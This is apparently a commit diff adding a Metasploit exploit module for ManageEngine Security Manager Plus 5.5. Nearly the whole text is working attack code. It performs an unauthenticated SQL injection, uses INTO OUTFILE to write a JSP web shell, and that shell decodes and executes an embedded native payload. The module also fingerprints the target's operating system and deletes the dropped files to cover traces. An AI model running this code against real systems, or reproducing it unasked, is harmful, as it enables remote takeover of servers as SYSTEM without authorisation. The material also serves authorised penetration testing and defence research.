1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = ExcellentRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpClient
14
+ include Msf ::Exploit ::EXE
15
+
16
+ def initialize ( info = { } )
17
+ super ( update_info ( info ,
18
+ 'Name' => "ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection" ,
19
+ 'Description' => %q{
20
+ This module exploits a SQL injection found in ManageEngine Security Manager Plus
21
+ advanced search page, which results in remote code execution under the context of
22
+ SYSTEM in Windows; or as the user in Linux. Authentication is not required in order
23
+ to exploit this vulnerability.
24
+ } ,
25
+ 'License' => MSF_LICENSE ,
26
+ 'Author' =>
27
+ [
28
+ 'xistence <xistence[at]0x90.nl>' , # Discovery & Metasploit module
29
+ 'sinn3r' , # Improved Metasploit module
30
+ 'egypt' # Improved Metasploit module
31
+ ] ,
32
+ 'References' =>
33
+ [
34
+ [ 'EDB' , '22094' ] ,
35
+ [ 'BID' , '56138' ]
36
+ ] ,
37
+ 'Platform' => [ 'win' , 'linux' ] ,
38
+ 'Targets' =>
39
+ [
40
+ [ 'Automatic' , { } ] ,
41
+ [ 'Windows' , { 'Arch' => ARCH_X86 , 'Platform' => 'win' } ] ,
42
+ [ 'Linux' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
43
+ ] ,
44
+ 'DefaultTarget' => 0 ,
45
+ 'Privileged' => false ,
46
+ 'DisclosureDate' => "Oct 18 2012" ) )
47
+
48
+ register_options (
49
+ [
50
+ OptPort . new ( 'RPORT' , [ true , 'The target port' , 6262 ] )
51
+ ] , self . class )
52
+ end
53
+
54
+
55
+ def check
56
+ res = sqli_exec ( Rex ::Text . rand_text_alpha ( 1 ) )
57
+
58
+ if res and res . body =~ /Error during search/
59
+ return Exploit ::CheckCode ::Appears
60
+ else
61
+ return Exploit ::CheckCode ::Safe
62
+ end
63
+ end
64
+
65
+
66
+ def pick_target
67
+ return target if target . name != 'Automatic'
68
+
69
+ rnd_num = Rex ::Text . rand_text_numeric ( 1 )
70
+ rnd_fname = Rex ::Text . rand_text_alpha ( 5 ) + ".txt"
71
+ outpath = "../../webapps/SecurityManager/#{ rnd_fname } "
72
+
73
+ @clean_ups << outpath
74
+
75
+ sqli = "#{ rnd_num } )) union select @@version,"
76
+ sqli << ( 2 ..28 ) . map { |e | e } * ","
77
+ sqli << " into outfile \" #{ outpath } \" FROM mysql.user WHERE #{ rnd_num } =((#{ rnd_num } "
78
+ sqli_exec ( sqli )
79
+
80
+ res = send_request_raw ( { 'uri' => "/#{ rnd_fname } " } )
81
+
82
+ # What @@version returns:
83
+ # Linux = 5.0.36-enterprise
84
+ # Windows = 5.0.36-enterprise-nt
85
+
86
+ if res and res . body =~ /\d \. \d \. \d \d \- enterprise\- nt/
87
+ print_status ( "#{ rhost } :#{ rport } - Target selected: #{ targets [ 1 ] . name } " )
88
+ return targets [ 1 ] # Windows target
89
+ elsif res and res . body =~ /\d \. \d \. \d \d \- enterprise/
90
+ print_status ( "#{ rhost } :#{ rport } - Target selected: #{ targets [ 2 ] . name } " )
91
+ return targets [ 2 ]
92
+ end
93
+
94
+ return nil
95
+ end
96
+
97
+
98
+ #
99
+ # We're in SecurityManager/bin at this point
100
+ #
101
+ def on_new_session ( cli )
102
+ if target [ 'Platform' ] == 'linux'
103
+ print_warning ( "Malicious executable is removed during payload execution" )
104
+ end
105
+
106
+ if cli . type == 'meterpreter'
107
+ cli . core . use ( "stdapi" ) if not cli . ext . aliases . include? ( "stdapi" )
108
+ end
109
+
110
+ @clean_ups . each { |f |
111
+ base = File . basename ( f )
112
+ f = "../webapps/SecurityManager/#{ base } "
113
+ print_warning ( "#{ rhost } :#{ rport } - Deleting: \" #{ base } \" " )
114
+
115
+ begin
116
+ if cli . type == 'meterpreter'
117
+ cli . fs . file . rm ( f )
118
+ else
119
+ del_cmd = ( @my_target [ 'Platform' ] == 'linux' ) ? 'rm' : 'del'
120
+ f = f . gsub ( /\/ / , '\\' ) if @my_target [ 'Platform' ] == 'win'
121
+ cli . shell_command_token ( "#{ del_cmd } \" #{ f } \" " )
122
+ end
123
+
124
+ print_good ( "#{ rhost } :#{ rport } - \" #{ base } \" deleted" )
125
+ rescue ::Exception => e
126
+ print_error ( "Unable to delete: #{ e . message } " )
127
+ end
128
+ }
129
+ end
130
+
131
+
132
+ #
133
+ # Embeds our executable in JSP
134
+ #
135
+ def generate_jsp_payload
136
+ opts = { :arch => @my_target . arch , :platform => @my_target . platform }
137
+ native_payload = Rex ::Text . encode_base64 ( generate_payload_exe ( opts ) )
138
+ native_payload_name = Rex ::Text . rand_text_alpha ( rand ( 6 ) +3 )
139
+ ext = ( @my_target [ 'Platform' ] == 'win' ) ? '.exe' : '.bin'
140
+
141
+ var_raw = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
142
+ var_ostream = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
143
+ var_buf = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
144
+ var_decoder = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
145
+ var_tmp = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
146
+ var_path = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
147
+ var_proc2 = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
148
+
149
+ if @my_target [ 'Platform' ] == 'linux'
150
+ var_proc1 = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
151
+ chmod = %Q|
152
+ Process #{ var_proc1 } = Runtime.getRuntime().exec("chmod 777 " + #{ var_path } );
153
+ Thread.sleep(200);
154
+ |
155
+
156
+ var_proc3 = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
157
+ cleanup = %Q|
158
+ Thread.sleep(200);
159
+ Process #{ var_proc3 } = Runtime.getRuntime().exec("rm " + #{ var_path } );
160
+ |
161
+ else
162
+ chmod = ''
163
+ cleanup = ''
164
+ end
165
+
166
+ jsp = %Q|
167
+ <%@page import="java.io.*"%>
168
+ <%@page import="sun.misc.BASE64Decoder"%>
169
+
170
+ <%
171
+ byte[] #{ var_raw } = null;
172
+ BufferedOutputStream #{ var_ostream } = null;
173
+ try {
174
+ String #{ var_buf } = "#{ native_payload } ";
175
+
176
+ BASE64Decoder #{ var_decoder } = new BASE64Decoder();
177
+ #{ var_raw } = #{ var_decoder } .decodeBuffer(#{ var_buf } .toString());
178
+
179
+ File #{ var_tmp } = File.createTempFile("#{ native_payload_name } ", "#{ ext } ");
180
+ String #{ var_path } = #{ var_tmp } .getAbsolutePath();
181
+
182
+ #{ var_ostream } = new BufferedOutputStream(new FileOutputStream(#{ var_path } ));
183
+ #{ var_ostream } .write(#{ var_raw } );
184
+ #{ var_ostream } .close();
185
+ #{ chmod }
186
+ Process #{ var_proc2 } = Runtime.getRuntime().exec(#{ var_path } );
187
+ #{ cleanup }
188
+ } catch (Exception e) {
189
+ }
190
+ %>
191
+ |
192
+
193
+ jsp = jsp . gsub ( /\n / , '' )
194
+ jsp = jsp . gsub ( /\t / , '' )
195
+
196
+ jsp . unpack ( "H*" ) [ 0 ]
197
+ end
198
+
199
+ def sqli_exec ( sqli_string )
200
+ cookie = 'STATE_COOKIE=&'
201
+ cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
202
+ cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
203
+ cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&'
204
+ cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&'
205
+ cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&'
206
+ cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&'
207
+ cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; '
208
+ cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
209
+ cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'
210
+
211
+ state_id = Rex ::Text . rand_text_numeric ( 5 )
212
+
213
+ send_request_cgi ( {
214
+ 'method' => 'POST' ,
215
+ 'uri' => "/STATE_ID/#{ state_id } /jsp/xmlhttp/persistence.jsp" ,
216
+ 'headers' => {
217
+ 'Cookie' => cookie ,
218
+ 'Accept-Encoding' => 'identity'
219
+ } ,
220
+ 'vars_get' => {
221
+ 'reqType' => 'AdvanceSearch' ,
222
+ 'SUBREQUEST' => 'XMLHTTP'
223
+ } ,
224
+ 'vars_post' => {
225
+ 'ANDOR' => 'and' ,
226
+ 'condition_1' => 'OpenPorts@PORT' ,
227
+ 'operator_1' => 'IN' ,
228
+ 'value_1' => sqli_string ,
229
+ 'COUNT' => '1'
230
+ }
231
+ } )
232
+ end
233
+
234
+ #
235
+ # Run the actual exploit
236
+ #
237
+ def inject_exec ( out )
238
+ hex_jsp = generate_jsp_payload
239
+ rnd_num = Rex ::Text . rand_text_numeric ( 1 )
240
+ sqli = "#{ rnd_num } )) union select 0x#{ hex_jsp } ,"
241
+ sqli << ( 2 ..28 ) . map { |e | e } * ","
242
+ sqli << " into outfile \" #{ out } \" FROM mysql.user WHERE #{ rnd_num } =((#{ rnd_num } "
243
+
244
+ print_status ( "#{ rhost } :#{ rport } - Trying SQL injection..." )
245
+ sqli_exec ( sqli )
246
+
247
+ fname = "/#{ File . basename ( out ) } "
248
+ print_status ( "#{ rhost } :#{ rport } - Requesting #{ fname } " )
249
+ send_request_raw ( { 'uri' => fname } )
250
+
251
+ handler
252
+ end
253
+
254
+
255
+ def exploit
256
+ # This is used to collect files we want to delete later
257
+ @clean_ups = [ ]
258
+
259
+ @my_target = pick_target
260
+ if @my_target . nil?
261
+ print_error ( "#{ rhost } :#{ rport } - Unable to select a target, we must bail." )
262
+ return
263
+ end
264
+
265
+ jsp_name = rand_text_alpha ( rand ( 6 ) +3 )
266
+ outpath = "../../webapps/SecurityManager/#{ jsp_name + '.jsp' } "
267
+
268
+ @clean_ups << outpath
269
+
270
+ inject_exec ( outpath )
271
+ end
272
+ end
0 commit comments